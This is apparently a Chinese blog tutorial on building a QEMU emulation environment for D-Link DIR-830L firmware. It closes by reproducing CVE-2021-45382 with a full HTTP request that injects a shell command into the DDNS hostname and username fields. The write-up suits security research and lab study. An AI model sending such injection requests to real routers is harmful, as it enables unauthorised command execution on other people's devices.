使用QEMU进行IOT固件的虚拟环境搭建

最近在尝试进行固件环境模拟,如果直接购买实物太费钱了,就想了点办法搭建虚拟环境。

尝试了@foxcookie的《D-Link_DIR-830LA1命令执行漏洞(CVE-2021-45382)》中使用的FirmAE,发现在模拟其他路由器时失败率很高。据说使用QEMU手动搭建的成功率会比使用FirmAE等工具高得多,于是尝试用QEMU搭建了一个虚拟环境,重新复现了一下Dlink的CVE-2021-45382。

实验环境

ubuntu18.04

binwalk v2.1.1

路由器固件:DIR830LA1_FW100B07

1
2
3
➜  ~ qemu-system-mips --version
QEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.40)
Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

环境安装相关指令

1
2
3
4
5
6
7
8
git clone https://github.com/devttys0/binwalk.git #安装binwalk
sudo apt-get install qemu qemu-system qemu-user-static binfmt-support #安装qemu
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev #安装C/C++编译器、liblzma、liblzo 和 zlib 相关依赖库
#安装sasquatch
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
chmod +x build.sh
./build.sh

下载固件

ftp://ftp2.dlink.com/PRODUCTS/DIR-830L/REVA/DIR-830L_REVA_FIRMWARE_1.00.B07.ZIP

#直接丢给迅雷下载

此为D-Link DIR-830LA1路由器固件DIR830LA1_FW100B07下载链接,解压后可以看到bin文件

img

binwalk提取文件系统

1
binwalk -Me DIR830LA1_FW100B07.bin

然后binwalk会提取出bin中的文件

1
2
➜  CVE-2021-45382 D-Link ls
DIR830LA1_FW100B07.bin _DIR830LA1_FW100B07.bin.extracted

进入_DIR830LA1_FW100B07.bin.extracted看一下文件,其中的squashfs-root便是文件系统

随便找一个文件file一下看看系统架构

1
2
➜  bin file busybox 
busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

这决定了一会使用qemu的哪个架构。

MIPS决定了一会用mips,MSBLSB决定一会用mips还是mipsel32-bit决定是用mips还是mips32

这里是32-bit的MSB,所以选择使用qemu-system-mips。

网络配置

网络配置我基本上是小白,看着大佬怎么配我就怎么配。

大概意思是我们需要桥接一个网卡,用于qemu和本机通信。

1
2
3
tunctl –t top0 –u root
ifconfig top0 192.168.10.1/24
ifconfig

使用三条指令后,ifconfig里应该会出现

img

这样的一个新网口。现在就可以配置QEMU虚拟机了

配置QEMU虚拟环境

下载对应系统内核

我是直接在_DIR830LA1_FW100B07.bin.extracted文件夹下执行以下两个指令

1
2
curl https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
curl https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

然后在这个路径下touch一个init.sh,内容为:

1
2
#!/bin/sh 
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic

其中-nographic 代表不新起一个qemu窗口。

写好后直接sudo ./init.sh即可。

然后会跳出debian-mips的登陆界面,用户名和密码都是root

img

现在要把虚拟机和本机都配置到一个网段下:

1
ifconfig eth0 192.168.10.2/24

此时虚拟机和本机应该是可以互相ping通的

img

回到本机,在_DIR830LA1_FW100B07.bin.extracted文件夹下执行

tar -czvf 1.tar squashfs-root/

将系统文件打包,然后用scp传输到虚拟机中

scp 1.tar root@192.168.10.2:/root/

img

转到虚拟机,可以看到1.tar已经在目录下

img

解压

tar –zxvf 1.tar

然后将系统文件进行挂载

mount -o bind /dev ./squashfs-root/dev

mount -t proc /proc ./squashfs-root/proc/

然后就可以直接chroot进入路由器系统了

chroot ./squashfs-root/ sh

img

启动路由器服务

从这里开始每个路由器都不太一样了,一般的思路是去/etc/下找init相关文件,看哪个文件是启动文件。

这里我测试出Dlink的启动程序在/etc/init.d/rcS

使用ssh连接虚拟机

ssh root@192.168.10.2

使用chroot进入路由器系统,然后直接运行etc/init.d/rcS

img

执行后就会一直跳already enabled!

此时用主机访问192.168.10.2

img

路由器虚拟环境搭建成功

复现cve-2021-45382

在这个网页一直下一步,全部使用默认设置,直到配置完成。

img

然后等它倒数完就会直接进入登陆后的界面。

img

对该页面进行抓包,直接用转发到repeater构造POC。

cve的具体原理在此就不过多赘述了,毕竟这只是一个环境搭建的记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /ddns_check.ccp HTTP/1.1
Host: 192.168.10.2
Cookie: uid=AInkmYGrA6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Tue, 26 Aug 2014 10:56:26 GMT
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123456

img

然后直接访问1.html

img

可以看到“ls /”已经被执行